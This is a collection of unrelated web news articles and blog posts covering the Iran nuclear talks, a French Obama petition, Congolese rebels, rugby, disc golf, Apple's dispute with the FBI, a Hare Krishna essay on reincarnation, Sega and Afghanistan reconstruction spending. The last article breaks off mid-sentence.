-Not much would change the fact that America is Iran’s enemy – not even the eagerly awaited 5+1 nuclear deal, a senior Iranian military official has said. Meanwhile Tehran and world powers are edging closer towards a final deal in Vienna.  “The US might arrive at some agreements with us within the framework of the Group 5+1, but we should never hold a positive view over the enemy,” Iran’s Fars News Agency quoted the Ground Force Commander Brigadier General Ahmad Raza Pourdastan as saying on Sunday. Meanwhile, the Tuesday deadline to ink the deal draws ever closer.  “Our enmity with them is over the principles and is rooted because we are after the truth and nations' freedom, but they seek exploiting nations and putting them in chains,” the Brigadier General continued.  Tehran and six powers – Russia, Germany, China, France, the US and Britain – are making their last ditch attempts in Vienna to end the dispute over Iran’s nuclear program, which continues to induce fear in the West about Iran’s nuclear warfare capabilities. Iran, for its part, maintains the program is peaceful.  The Islamic Republic is being asked to curtail the program for at least a decade, and is being promised a relaxation of sanctions which have been hitting the economy hard.  While the US Secretary of State John Kerry told reporters he still hopes to make the Tuesday deadline, one Iranian official told the semi-official Tasnim agency that the talks could last into Thursday, July 9, The previous deadline of June 30 was missed.  Kerry and Iran’s Foreign Minister and top negotiator Javad Zarif were still busy ironing out various differences on Sunday, such as what type of research Iran may pursue if the United Nations lifts the sanctions.  Despite Kerry saying a final agreement “has never been closer,” he warned that at this point “this negotiation could go either way” unless Iran makes some very “hard choices”. But according to Zarif, it is the “Western countries” who need to make a “decision if they are looking for an agreement or continuing pressures.”  READ MORE: Iran deploys new long-range radar days ahead of nuclear talks deadline  Zarif stresses the US can’t do both. “We have heard them many times that they are looking for an agreement…”, he told reporters.  According to the Iranian side, a number of issues have already been resolved in Vienna, but a consensus still needs to be reached on other key topics.  “There are four or five issues that remain including the important topic of ensuring both sides’ steps correspond to each other and happen at the same time,” Iranian Deputy Foreign Minister Abbas Araqchi was quoted as saying by the ISNA agency.  Meanwhile, in the space of this week, Iran has gone ahead and deployed a long-range radar, part of an integrated air defense system the country is setting up.  Israel has been the most riled with Iran out of the countries in the region, and Israeli PM Benjamin Netanyahu has even said that a nuclear Iran is a greater threat to the world than ISIS terrorists in Syria and Iraq.  “The Iran deal will alter the US relationship with the Gulf region,” Jonathan Steele, former Chief Foreign Correspondent for The Guardian, told RT. “There is obviously rivalry between US allies in the region. The Iranian issue is not just about the Nuclear Program, but more about opening the door for a real change in the Middle East,” he added
-Voters in France are vying for Barack Obama to become their next President, in a wild bid to bring about a “sixth Republic” in the French presidential elections this year.  A website and poster campaign launched on Monday, titled “Obama17”, calls on French people to make the "radical choice" of signing a petition asking that the former US President to run for the position of 25th head of state in the 2017 leadership race.  More than 30,000 people have so far signed the petition, and photos of posters mounted around Paris have been widely shared on social media.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  The creators of the campaign, four Parisians in their thirties who have decided to remain anonymous, said the idea arose from growing discontentment with the choice of candidates, and a desire to "make people smile" amid "repeated scandals" coming out of the approaching election.  One of them, who simply called himself "Barack", told The Independent: "It arose from a conversation with friends. We decided that we didn't want to vote for any of the candidates in this election, and that it has been the same for the last few elections. We are fed up of voting against people rather than for someone we actually support every time.  "So we thought it would be ingenious to give the power to Obama, since he's now available."  Asked whether they were serious in their endeavour, Barack said: "It is ultimately a joke. We want people to wake up in the morning and, rather than have to see our usual candidates, rejoice in seeing Obama's face on the 500 posters we put up on the streets of Paris, and get away from the repeated scandals we are hearing about.  "The reaction from people has been brilliant. It's what they want. The funniest thing is when people first thing it's totally crazy, but then ask themselves: 'Actually, why not?'"  Barack said the group behind "Barack2017" did not express politcial views, but that it was "certain" that they wouldn't be voting for Marine Le Pen.  The approaching French election, for which the first round of voting begins in April, has caused concern among many French people due to a number of scandals that have emerged about candidates and the prominence in the polls of far-right candidate Marine Le Pen.  The "Obama2017" website's homepage cites the "inevitable failure of the next presidential election" and call on voters to sign the petition to "get France out of its lethargy".  “The French are ready to make radical choices. That is good because we have a radical idea to propose to them," it states.  “After a phantom five-year-term and faced with the announced failure of the next presidential election, we think it is time to move to the sixth Republic to get France out of its lethargy.  “To launch this sixth Republic, we wish to strike a blow by electing a foreign president as the head of our beautiful country.  “Barack Obama completed his second term as President of the United States on January 21, now why not hire him as President for France?”  The site proceeds to list several reasons why people should sign the petition, including a claim that Mr Obama “has the best CV for the job”, and a rallying cry that voters must "teach the world a lesson in democracy [...] at a time when France is about to vote for the extreme right.”  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-GOMA, Democratic Republic of Congo (Reuters) - A rebel spokesman in eastern Congo said on Friday that his movement intended to march across the country to the capital Kinshasa to depose President Joseph Kabila, who refused to quit power at the end of his mandate last year.  Led by self-proclaimed ‘general’ William Yakutumba, the rebel force, calling itself the National People’s Coalition for the Sovereignty of Congo (CNPSC), has emerged as one of the strongest groups in Democratic Republic of Congo’s lawless eastern borderlands since its formation in June.  Analysts doubt that the CNPSC has the capacity to make a move on the capital. However it briefly captured some strategic towns in June and advanced this week to within a few kilometers of the city of Uvira along Lake Tanganyika, forcing U.N. helicopters to intervene to help Congolese troops drive them back.  Congo has been beset by a wave of prison breaks, rebellions and lawlessness since Kabila’s refusal to step down in December.  “We are even going to reach Kinshasa,” Dalton Waubwela Mwila, secretary-general of the CNPSC, told Reuters in a telephone interview. “Our ultimate objective is to be in Kinshasa.”  Kabila’s father, Laurent, came to power in 1997 on the back of a rebellion that started in eastern Congo, marching the more than 2,000 kilometers (1,200 miles) to the capital, but he crucially received backing from the armies of neighbouring Rwanda and Uganda.  “FLASH IN THE PAN”  Waubwela said that the CNPSC includes a number of armed groups in eastern Congo, including in its home province of South Kivu and the neighbouring provinces of North Kivu, Tanganyika and Maniema, where heavy fighting was also reported this week.  Yakutumba formed a militia bearing his name in 2007 and established himself as a warlord, gold smuggler and arms trafficker in South Kivu’s Fizi territory, but looks to be trying to raise an insurrection with nationwide support.  Regional wars in eastern Congo, which holds vast reserves of gold, tin, coltan and other minerals, between 1996-2003 killed millions and spawned dozens of armed groups that continue to exploit natural resources and prey on local populations.  Waubwela claimed that the coalition includes more than 10,000 men, but analysts estimate the size of the militia at closer to 300-450, and say it would require significant foreign backing or fresh alliances to be able to occupy much territory, let alone threaten Kabila in Kinshasa.  Waubwela said the rebels have armed themselves with weapons captured from Congolese forces.  Speaking to reporters in the eastern city of Goma on Thursday, the army’s top general, Didier Etumba, dismissed the CNPSC as a “flash in the pan” that the army would “put out”.  But the rebellion is yet another security headache for Kabila, who is also trying to tame a brutal insurgency in central Congo’s Kasai region, which has killed up to 5,000 people and displaced 1.4 million more in the past year.
-(UPDATE 8/27: Fixed one grammatical and one consistency error. Watch revised version here.)  I’m happy to present my latest mini-project, Kimi ga Nozomu Eien: Drama Theater vol. 3 – Suzumiya Akane. This is an audio drama CD that’s set in a period of the KimiNozo timeline we don’t see much of anywhere else – the first year after the accident. From Akane’s perspective, we get glimpses of her first days at Hakuryo, her budding friendship with Sakaki Chizuru, and her conflicting feelings towards Takayuki during the height of his PTSD. It is separated into eight chapters, and finishes with karaoke subs for Rumbling Hearts – Acoustic Ver.  To answer a couple of questions:  Why volume 3? Why did you skip 1, and 2? Why not 4?  The short answer is: volumes 1 and 2 are both reader’s digest rehashes of Haruka and Mitsuki Routes, respectively. Volume 3 is entirely fresh content, not found anywhere else, and contains no spoilers for Akane’s VN route whatsoever. It gives us some more insight into and justification for her three-year personality shift. I really enjoy it.  Will you do the other volumes, as well?  Not until the VN is released in some capacity, at least, for the reasons stated above. Volume 4 is just comedy content, but it’s probably better saved for later.  This was a bit more involved than my previous mini-projects, and while I realize an hour is a long time commitment, I highly recommend it to any curious KimiNozo fan looking to delve deeper into the franchise. Please do leave a comment and let me know if you like what you see, or have any thoughts to share. My entire goal with this series is to start up a dialogue about the franchise, and I’d love to hear what you have to say.  Thanks so much for your time. I hope you enjoy it.  Advertisements
-In the last few years, teams have spoken of Scotland as potential dark horses for the Six Nations Championship.  This year, after losses to New Zealand, South Africa and Tonga in November, no-one is giving us a hope.  Ah, we love the underdog status and what better way to start the campaign with a game against a confident England side at Twickenham?  Wet weather; a strong kicking game; good goal-kicker; strong line-out and defending like your lives depend on it: you start to see a picture that the English won't relish.  For the campaign as a whole, let's take the weather out of the equation and control the "controllables" - put those other facets together and you're going to have a chance to win every game you play.  To win at Test level, we need 10 players playing to their full potential and the others to have good games.  That's the reality of rugby at this level: too often we have had most players having OK games.  There are genuine match-winners in the squad in the form of Greig Laidlaw, David Denton, Johnnie Beattie, Richie Gray, Stuart Hogg, Max Evans and Tim Visser.  On paper, this side looks exciting: there seems to be a good balance and it'll be able to play in a variety of ways  What needs to change for Scotland to get some wins?  Composure is key: When the opposition are under pressure, keep them under pressure and don't let them off the hook easily. When we get into the 'red zone', come out with points - three, five, seven - anything will do.  Discipline has to be a priority. Two yellows against Wales last year and one against Italy proved to be key in defeat. These cards were awarded in positions where we were under no pressure and there was no need to offend. Teams will always give away penalties but make them 'good penalties'.  Confidence is the last aspect. We have a good squad with players who have been to a Heineken Cup semi-final, Pro12 play-offs and beaten Australia. Have the confidence in the players around you and play with that confidence.  With the team selection having been made, an interesting question to ask Scott Johnson would be whether he chose the game-plan or the team first: did he pick players to fit his game-plan or choose these players and then work out his strategy?  With his selection, especially in the back three, it seems like he has chosen a team to play some rugby.  However, this doesn't mean the ball will be thrown around Barbarians style. I would expect the wingers working off their wings and trying to isolate the 'heavier' English players.  On paper, this side looks exciting: there seems to be a good balance and will be able to play in a variety of ways: Laidlaw probing the corners from nine with pressure coming from a well-organised defensive line-out, or Ruaridh Jackson attacking the line and playing tight through Sean Lamont and Beattie.  Maitland, Visser and Hogg are all dangerous broken-field runners and, with centre Matt Scott playing the role of ball player, they should get opportunities.  The front five will be facing a big day at the office at the set-piece against England but have size and experience, and the bare stats should mean we're not too disadvantaged here.  It's also worth mentioning that there is some real fire-power available off the bench if we can be within touch at 60 minutes.  I'd like to see this team relatively unchanged and given an opportunity over the next three games to build and grow together.  Look at the list of Scotland's fixtures and they'll be pleased.  Find a good performance in a win or loss at Twickenham, followed by three home games and suddenly we, as a nation, start to get optimistic again…  Mike will be writing a column for BBC Scotland throughout the Six Nations campaign.
-FORGET football and leave the cricket bat and ball at home, because the frisbee is making a comeback.  The favourite airborne toy of the 1970s is not only making a triumphant return but is soaring to new heights in Wyong shire which became home to the Coast’s first disc golf course on Friday.  Wyong Council has installed nine chain wire baskets at Koala Park at Lake Munmorah to create a disc golf course which was ­officially opened last week.  media_camera Emilie Cameron, four time Australian champion, plays a game of Koala Park Disc Golf, at Doyalson. Picture:Peter Clark  The council’s parks and sports fields section manager Keith Ollier said disc golf was just like traditional golf but instead of hitting a tiny ball, you throw a flying disc, or frisbee.  “We heard about this sport and thought we have to bring it to Wyong Shire,” Mr Ollier said.  “After some research, Koala Park proved to be the perfect spot and we worked with professional Australian disc golfers to make sure our course is one of the best.  “This new recreation activity is free and is set up for those keen to take up a new sport or families and friends looking for something different to do on a weekend.  “Koala Park already boasts a sports field, tennis courts and full amenities including a kitchen and this new course will certainly increase the range of recreation options available.”  There are already more than 700 registered disc golf players in Australia and interest in the sport is growing each year.  Australian Disc Golf president Neil Roberts said Disc Golf was a simple sport anyone can play.  “Disc Golf can be played as a competitive sport or as a social pastime,” Mr Roberts said.  “It shares the same joys and frustrations of traditional golf, whether it’s sinking a long putt or hitting a tree halfway down the fairway. I’ve been competing since 2010 and it can be quite technical because it’s more than just throwing a frisbee.  “Just like ball golf, there are putters, mid-range discs and drivers as well as ones that throw to the left, right or roll along the ground.  “I was happy to work with the council to develop a course.  “I’m hoping to bring one of the Women’s Global events to Koala Park this May.”  Find out more on the Koala Park course at wyong.nsw.gov.au/discgolf
-A prominent Muslim scholar in Saudi Arabia has warned that those using alcohol-based biofuels in their cars could be committing a sin.  The warning was issued by Sheikh Mohamed Al-Najimi, a member of the Islamic Fiqh Academy, an institute that studies Islamic jurisprudence for the Organisation of the Islamic Conference, an international group with a permanent delegation to the United Nations. According to the Al Arabiya News Channel, an international news outlet based in Dubai, United Arab Emirates, Mr. Najim directed his warning to Saudi youths studying abroad.  Al Arabiya notes that Najimi stressed that this warning was not an official fatwa, or religious edict, just his personal opinion. Najimi added that the issue "needs to be studied by the relevant religious bodies."  Ethanol, a common type of biofuel, is made of the same type of alcohol found in alcoholic beverages, and its production is similar to that of hard liquor. Plant matter is fermented using yeast, and the result is distilled to increase the concentration of alcohol.  Fuels with high concentrations of ethanol – the most common being E85, a gasoline blend with 85 percent ethanol – can be used in flex-fuel vehicles, which make up more than seven million of the roughly 250 million passenger cars and trucks on America’s roads. Most gasoline sold in the United States contains about 10 percent ethanol. The fuel is more common in many Latin American countries, particularly Brazil.  In addition to beverages and biofuels, ethanol is a widely used in industry for its properties as a solvent and an antiseptic. It's a common component of perfumes and paints. The chemical is also necessary in the production of vinegar – one of the Prophet Muhammad's favorite seasonings.  The Koran prohibits consumption of alcohol in three separate verses that were written over a period of several years. The first mention occurs in 4:43, in which Muslims are told that they must not pray while intoxicated. A verse written later – 2:219 – says that in wine and gambling "is great sin, and some profit, for men; but the sin is greater than the profit." Finally, in 5:90-91, intoxicants and gambling are called "an abomination" and "Satan's handiwork":  Satan's plan is (but) to excite enmity and hatred between you, with intoxicants and gambling, and hinder you from the remembrance of Allah, and from prayer: will ye not then abstain?  This admonition is waived in the hereafter, apparently: Many passages in the Islamic holy book describe heaven as having rivers of wine.  Ironically, it was Muslim chemists who introduced distillation to the West. The process of distilling pure ethanol from wine was perfected by 8th- and 9th-century Persian chemists, who used it to create perfumes and eyeliner. Their writings were translated by European scholars in the 12th century, and the process was used to make potable spirits. The word "alcohol" is itself of Arabic origin.
-When your freezer breaks down, you might lose some leftovers or a box of your favorite popsicles. But when a scientist's freezer malfunctions, the world stands to lose thousands of years’ worth of stored history. That’s what happened last week, when an equipment failure at the University of Alberta (UAB) melted ancient samples of Arctic ice.  An ice core is kind of like the vertical equivalent of a tree’s rings. The gas bubbles, sediment, and chemicals trapped in each of its many layers tell a story about the world at that particular moment in time.  UAB’s Canadian Ice Core Archive holds 12 cores—nearly 1 mile of ice—representing roughly 80,000 years of our planet’s history. Some of the samples have been in storage since the 1970s. Many of them are now considerably smaller than they were a few weeks ago.  Each long, cylindrical core is stored in segments, a space-saving measure that may have been the collection’s salvation. The segments were divided between two freezers, one of which shut down over the weekend when the temperature-control system failed. In trying to correct the issue, the system made things worse, blowing hot air over the samples, turning the ancient ice back into water for the first time in millennia.  Glaciologist Martin Sharp rushed into the archive to find steaming puddles all over the floor. “It was more like a changing room in a swimming pool than a freezer,” he told The Guardian. “I’ve had better days. Let’s say that.”  The archive lost 12.8 percent of its total sample mass, including about 22,000 years’ worth from the Penny Ice Cap on Baffin Island. Some of the samples are “clearly toast,” Sharp told The Guardian, while others were barely affected.  The samples have been moved into more secure storage, and Sharp and his team plan to drill new samples to replace what they’ve lost. But the ice covering some of the original sampling sites is melting, too.  “Some of these ice caps are disappearing,” Sharp told The New York Times, “and we’re going to lose this record, in some cases sooner rather than later.”
-Bitcoin Breaking News Brief Apple Responds to FBI Backdoor Order in Effort to Save PR  February 17, 2016 — Apple is no stranger to handing over its users’ sensitive data to government – they went live on the NSA’s PRISM program back in late 2012, stated in their TOS and EULA documents that there should be expectation of privacy while using their services, and follow the common industry practice of handing over sensitive information they have on file with the issuance of a warrant. So the decision to reject a court ordered backdoor that would allow brute force decryption of their phones, accompanied by an open letter to Apple customers from CEO Tim Cook explaining their stance on the matter, has come as a surprise to many.  Also read: itBit to Expand Blockchain Operations Abroad  Apple’s Long History of Giving up User Data  The order arrives in the aftermath of the San Bernadino Shootings. Many thought initially that the court was asking Apple to do the impossible: pull private keys out of thin air to give investigators access to the Shooters’ encrypted data, which would have demonstrated a laughable lack of understanding of the data encryption process on the FBI’s part. The open letter from Cook indicates that the government request is much more competent and insidious, though:  “Specifically, the FBI wants us to make a new version of the iPhone operating system, circumventing several key security features, and install it on an iPhone recovered during the investigation. In the wrong hands, this software — which does not exist today — would have the potential to unlock any iPhone in someone’s physical possession.”  Essentially, the court order mandates that Apple cooperates in assisting in the creation of a backdoor that would allow brute force decryption of any iPhone, which would be a disaster for Apple customers everywhere. It’s easy to see why Apple seems to have shifted its stance on privacy in this case: cooperation would, in addition to being a PR nightmare, but be setting a disturbing precedent that would allow law enforcement to circumvent 4th amendment rights even further, with corporate assistance. The FBI is citing the All Writs Act of 1789 to justify this court order, contending that the software backdoor is somehow a necessary act in analyzing their evidence.  Secure data, something that has been traditionally protected by 4th and 5th amendment rights, has been accessed previously through use of this law, including one case involving an iPhone 5s in 2014. Since that time, Apple has shifted its stance on personal information handoffs, and this is the first example where they’ve followed through on their new stated policies. While it is refreshing to see a multinational corporation defend it’s customers’ privacy, this protection of individual data may seem counter-intuitive to those who follow Apple’s data collection and analysis practices.  Remember: Apple is an information broker as much as they are a hardware and software company. They do sell their users’ data and metrics, and will continue to do so for the foreseeable future. The problem here is that they lose their information collection capability if people stop using their phones because anyone can crack the built-in encryption. If people perceive your product as insecure and fundamentally flawed, they move away from your ecosystem, and if anyone has access to the information you’re trying to sell, it becomes much less valuable. The move to protect user data, in this case, makes as much sense for their data collection infrastructure as it does from a PR and best practices standpoint.  While it is nice to see Apple stand up to government pressures to invalidate user privacy, know that it is only because it serves Apple’s interests. They have a far from stellar track record when it comes to user data protection. For now, their goals dictate keeping strong encryption on their devices, but that has not and will not always be the case. Their policy on encryption will likely change with their corporate interest as it has several times in the past. Of course, this shifting stance on consumer rights is not unique to Apple, but in recent times, they’ve had the most extreme turnabout.  What do you think about this letter from Apple? Let us know in the comments below!  Images courtesy of Apple
-Reincarnation—The Soul’s Journey on the Wheel of Birth and Death  “I adopted the theory of reincarnation when I was twenty-six.” Henry Ford said that in the San Francisco Examiner on August 26, 1928. This surprising announcement put him in the ranks of a select group of Americans—Thomas Edison, Benjamin Franklin, Tom Paine, and of course Emerson, Thoreau and Whitman—who believed that the soul goes on to a new body when the present body dies. We tend to think of reincarnation, or transmigration of the soul, as a recent import from India, but actually the concept of reincarnation plays an important role in the philosophical and theological tradition of the West. Plato, who lived in Greece during the fourth century B.C. and who helped lay the foundations of Western philosophy, held that “a soul is allied with different bodies at different times.” (Laws, 10.903) And in the third century A.D., Origen, one of the fathers of the Christian Church, wrote in his book First Principles:  By some inclination towards evil [certain] souls lose their wings and come into bodies, first of men; then through their association with the irrational passions, after the allotted span of human life they are changed into beasts, from which they sink to the level…of plants. From this condition they rise again to the same stages and are restored to their heavenly place.  However, as Christian theology solidified over the centuries, this view became decidedly heretical, and in A.D. 553, Emperor Justinian issued his Anathemas Against Origen: “If anyone assert the fabulous pre-existence of souls and the monstrous restoration which follows from it, let him be anathema [cursed].” This edict snuffed out almost all talk of transmigration throughout Christendom.  Was Justinian right to condemn the idea of reincarnation as “fabulous” and “monstrous,” or is the soul actually “allied with different bodies at different times,” as Plato thought? The best way to settle the matter is to go directly to the source—the earliest mention of reincarnation. Fortunately, the earliest records of transmigration are also the most philosophically complete. They’re found in the Vedic Sanskrit literature written around 3,000 B.C. In India.  The Vedic view of reincarnation is clearly explained in the Bhagavad-gita, which is universally accepted as the essence of Vedic spiritual knowledge. In the Gita, the Supreme Lord Krishna enlightens His student and friend Arjuna in the science of self-realization, beginning with a lucid presentation of the process of reincarnation.  The Soul Within the Body  Right at the beginning of His instruction to Arjuna, Lord Krishna declares that transmigration of the soul is a fact: “As the embodied soul passes, in this body, from boyhood, to youth, to old age, the soul similarly passes into another body at death.”(Bg. 2.13) The existence of the soul—an unchanging conscious principle within an ever-changing material body—is implied by the recent findings of modern science. In The Human Brain, Professor John Pfeiffer points out that “your body does not contain a single one of the molecules that it contained seven years ago.” He compares the living body to a whirlpool. The form doesn’t change, but all the ingredients stream through at a dizzying pace. In his Foundations of Biology, L. L. Woodruff gives another apt analogy:  …The old saying that the materials forming the human body change completely every seven years is a tacit recognition that lifeless material, in the form of food, is gradually transformed into similar living matter under the influence of the body. Indeed, just as a geyser retains its individuality from moment to moment, though it is at no two instants composed of the same two molecules of water identically placed, so the living individual is a focus into which materials enter, play a part for some time, and then emerge to become dissipated in the environment.  So, during the seventy-year lifetime of an average American, he has “died” and been “reborn” ten times. Of course, unlike the body’s ultimate demise, when personal identity seems to end, these intermediate “deaths” don’t destroy the body’s structure and personal characteristics. Be that as it may, however, the physical substances of a seventy-year-old person’s body have actually changed ten times over. Has he been ten different people? Of course not. But then what exactly do we mean by the word “person”?  The best way to answer this question is to contemplate the person we know best—ourselves—through a simple exercise in memory. For instance, the farthest back I can remember is a day when I was about one-and-a-half years old. I was asking my mother if she could understand what I had been saying to her. I didn’t know the right words, though, and I became very frustrated. In my mind this incident sticks out vividly—what it was like physically and psychologically. Through such memories I can directly experience the continuity of my existence over the years. I can recall millions of things I did, saw, heard and felt. No one else enjoyed or suffered all these things—only I did. Thus I as a person am continuous, despite the discontinuity of my body.  Going further, I can become aware that my emotions, thoughts and memories are also ever-changing. I’m actually an observer of even these mental phenomena. They are flowing by me in the same way that the molecules of my physical body are flowing by me. My body is a gross form made of gross particles, and my mind is a subtle form made of subtle particles. But I’m neither one of them. The person I call myself is in reality a continuity of consciousness—an eternal spiritual soul.  The question now arises, “Why haven’t the scientists found the soul?” The simple answer is that an empirical scientist observes everything through his material senses and mind, which are too gross to perceive the subtle spiritual soul. There are some scientists, however, who do understand something of the existence of the person beyond the mind and body. For example, physicist Irwin Schroedinger, who in 1933 won the Nobel Prize in physics for his work in wave mechanics, wrote in What Is Life?: “Even if a skilled hypnotist succeeded in blotting out all your earlier reminiscences, you would not find that he had killed you. In no case is there a loss of personal existence to deplore. Nor will there ever be.” Of course, the most definitive statement on this subject is given by Lord Krishna Himself: “For the soul there is never birth nor death. Nor, having once been, does he ever cease to be. He is unborn, eternal, ever-existing, undying and primeval. He is not slain when the body is slain.” (Bg. 2.20)  The Sojourn of the Soul  How you (the soul) pass from one body to another is explained by Lord Krishna through a striking analogy: “Just as a person puts on new garments, giving up old ones, similarly the soul accepts new material bodies, giving up the old and useless ones.” (Bg. 2.22) Lord Krishna explains that the mind is the mechanism behind these transmigrations: “Whatever state of being one remembers when he quits his body, that state he will attain without fail [in his next life].” (Bg. 8.6) Everything we’ve thought and done during our life makes an impression on our mind, and the sum total of all these impressions determines our final thoughts at death, According to the quality of these thoughts, we are awarded a suitable new body after death.  I remember that when I was ten or twelve, back in the early fifties, we used to jokingly say things like “Don’t kill that fly! It may be your great-grandfather!” That wasn’t too far off, but we missed the real point of transmigration, which is that our next body after this one is better or worse according to the quality of our activities in this life. If we’re saintly, we’ll get a saintly body next time, but if we’re doggish, we’d better prepare ourselves for a dog’s life after this one. This is the law of karma, which states that for every action we perform, either good or bad, there is an appropriate reaction to be reaped either in this life or in a future life.  So the millionaire and the genius are reaping the benefits of good karma, and the pauper and the dunce, having committed sinful activities, are getting their just deserts. Perhaps we would like the system better if everyone became a millionaire or a genius, but the purpose of the law of karma is not to provide us a cozy homestead in the material world. The purpose is to bring us to the point of asking the all-important question: “How can I escape from the painful cycle of birth and death?”  And a tediously painful cycle it is. According to the Vedas, the vast cosmic wheel of birth and death rolls through 8,400,000 species of life: 900,000 aquatics, 2,000,000 plants, 1,100,000 insects, 1,000,000 birds, 3,000,000 quadrupeds, and 400,000 humans. If you start at the lowest level, you first have to pass through the very simplest one-celled organisms before reaching those with sense perception. Finally, you evolve through all the mammals up to the human stage. Krishna explains that after death “the living entity, thus taking another gross body, obtains a certain type of eye, ear, tongue, nose, and sense of touch, which are grouped about the mind. He thus enjoys a particular set of sense objects.” (Bg. 15.9) Therefore the type of body we have now is an expression of our consciousness at the time of our last death.  As Origen guessed back in the third century, the path of karma doesn’t always lead uphill. Once having reached the human stage, we can fall back down into lower forms of life if we misuse the facilities of the human body. The human form is special because only human beings have sufficient intelligence to inquire into the means for getting out of the cycle of birth and death. Only in the human form can we stop identifying ourselves with the bodies we are passing through and learn to see our spiritual identity within. Once we realize our eternal, indestructible spiritual nature, we are free from the vicious cycle of birth and death.  The Soul and the Supersoul  To actually establish ourselves on the spiritual platform, not only must we know ourselves (spirit) and matter (our bodies, minds and the world around us), but we must know the controller of both (God) as well. We know that God exists because there’s no other sensible explanation for the design of the universe. A story about Isaac Newton illustrates this point well. The famous British scientist once made an intricate model of the solar system. Somehow he’d figured out how to gear miniature planets to revolve around a miniature sun in a facsimile of their observed orbits. One day an acquaintance, an atheist, dropped by his house and was astonished by the ingenious machine.  “Who made this wonderful machine?” he asked. “Nobody,” Newton replied. “It just happened.” “Oh come now, stop teasing me. Who put together this machine?”  “Well,” said Newton, “you’re convinced that some person constructed this machine. But when you confront the entire universe, which is manufactured with a degree of precision far beyond that of this model, and on a scale infinitely greater, then you say it just happened by chance. Why is that? Only because you don’t want to admit there’s a person so great he could do such a thing. But there is, and He is God.”  What role God plays in our sojourn throughout the many species of life in the material world is explained by Lord Krishna in the Bhagavad-gita: “The Supreme Lord is situated in everyone’s heart…and is directing the wanderings of all living entities, who are seated as on a machine made of the material energy.” (Bg. 18.61) When we transmigrate from one body to another, we forget all our past activities and unfulfilled desires. But the omniscient Lord, the eternal witness within our heart, knows all these things, and He fashions another body just suitable for us to try to satisfy our unfulfilled desires.  Thus the only way to escape from the chained victimization of repeated birth and death in this material world is to transform our mentality in such a way that at the moment of death we’ll be completely free of all material desires. It’s not necessary, or even possible, to stop desiring altogether; rather, it is the quality of our desires that must change—from material to spiritual. Material desires we’re familiar with—we’ve been cultivating them all our lives. But what are spiritual desires, and how can we cultivate them? Krishna explains in the Bhagavad-gita: “Engage your mind always in thinking of Me and become My devotee. Offer obeisances and worship Me. Being completely absorbed in Me, surely you will come to Me.” (Bg. 9.34)  At present we are always absorbed in thoughts of material well-being. As we have seen, however, this mentality inevitably leads to the misery and frustration of repeated birth and death. To be released from this painful wheel of karma, we need only transfer our thoughts to the Supreme Lord, Krishna. Then, at the time of death, He will award us a spiritual body to enjoy eternal, blissful association with Him.  The easiest way to absorb our mind in thoughts of Krishna is to hear and chant His glories, beginning with the maha-mantra: Hare Krishna, Hare Krishna, Krishna Krishna, Hare Hare/ Hare Rama, Hare Rama, Rama Rama, Hare Hare. In addition, His Divine Grace A.C. Bhaktivedanta Swami Prabhupada has written many books describing the activities, qualities and words of Lord Krishna. By sincerely trying to follow the instructions found in these books, all of which contain the highest Vedic wisdom, one can cultivate loving devotion to Krishna and go back home, back to Godhead at the end of this lifetime.
-Get the latest news and videos for this game daily, no spam, no fuss.  [UPDATE] Sega has released a new statement and confirmed that the original quotes should be attributed to Haruki Satomi, CEO of SEGA Games, not Sega Sammy Holdings CEO Hajime Satomi.  "Seeing our fans across the world respond to our recent interview with Famitsu lets us know we've made the right first step in acknowledging who we are and where we want to be," Haruki Satomi said. "Sega is dedicated to bringing you quality gaming experiences and becoming a brand you love and trust again."  The original story is below.  Sega CEO Hajime Satomi has said he believes the company betrayed the trust fans put in it over the last few years, and added it is now aiming to improving the quality of its games in hopes of re-establishing itself as a valuable brand.  Speaking in an interview with Japanese gaming magazine Famitsu, which has been translated by Siliconera, Satomi said he has been discussing strategies to improve the quality of its games with employees.  "I've been talking to employees about how [Sega] should start putting serious consideration into quality from this point on," he said. "Particularly in North America and Europe, where it's always been more of a focus on schedules."  "I believe that if we can't maintain quality, it would be better to not release anything at all."  Continuing, Satomi said he feels the company did its best to build strong connections with fans of Sega, but admitted that the games it released may have betrayed that faith.  "We did our best to build a relationship of mutual trust with older fans of Sega but, looking back, there have been some titles that have partially betrayed that [trust] in the past 10 years," he said.  "Sega in the 90s was known for its brand, but after that, we've lost trust, and we're left with nothing but reputation ... We'd like to win back the trust and become a brand once again."  Looking forward, the exec said Sega is planning to "announce something for home consoles at Tokyo Game Show."  In September 2013, Sega acquired bankrupted publisher Index Corporation, parent company of Persona 4 developer Atlus. A year later, Index Corporation was separated from Atlus.  The studio was tasked with continuing it game projects, one of which is Persona 5, with a team of 121 employees. Index's 166 employees, meanwhile, would focus on distribution, systems development, and advertisements.  Sega seemed to be transitioning away from console games and toward the PC and mobile markets, having invested in three Western developers, the most notable of which is Boston-based firm Demiurge Studios.  Demiurge, which was bought outright by Sega, worked with Harmonix, Gearbox, Irrational, and BioWare. The studio contributed to multiple Rock Band track packs, built the PC edition of Mass Effect, assisted with art design on the original BioShock, and worked on the ultimately canceled Wii U version of Aliens: Colonial Marines.  Its most recent release was mobile game Marvel Puzzle Quest, which it continues to support.
-U.S. taxpayers spent $150 million building fancy, hotel-like "villas" staffed with private security for government employees working in Afghanistan rather than having them live on U.S. military bases at a fraction of the cost, according to the top government watchdog charged with monitoring wartime waste.  The lead oversight team auditing U.S. spending in Afghanistan said Thursday the Pentagon's Task Force for Stability and Business Operations spent 20 percent of its budget on private housing and security guards for a "handful" of employees who could have lived on U.S. military bases for little or no extra charge.  "We are concerned that this may be another example of U.S. government officials not looking out for American taxpayers' dollars." — John F. Sopko, Special Inspector General for Afghanistan Reconstruction  "We are concerned that this may be another example of U.S. government officials not looking out for American taxpayers' dollars," John Sopko, special inspector general for Afghanistan reconstruction (SIGAR), told FoxNews.com.  The Department of Defense employees worked for the now-defunct Task Force for Stability and Business Operations, known as TFBSO or the Task Force -- the DOD's premiere program to kick-start the Afghan economy. The $150 million spent on the villas and private security supported "only a handful" and "no more than 5 to 10" TFBSO staff members the majority of the time, according to Sopko.  In a Nov. 25 letter to Defense Secretary Ashton Carter, Sopko requested information on the Task Force's decision to spend nearly a fifth of its budget on the villas and security. From 2010 through 2014, Congress appropriated approximately $822 million to TFBSO for Afghanistan, of which the Task Force spent approximately $766 million.  "SIGAR's preliminary review indicates that TFBSO leadership rented specially furnished, privately 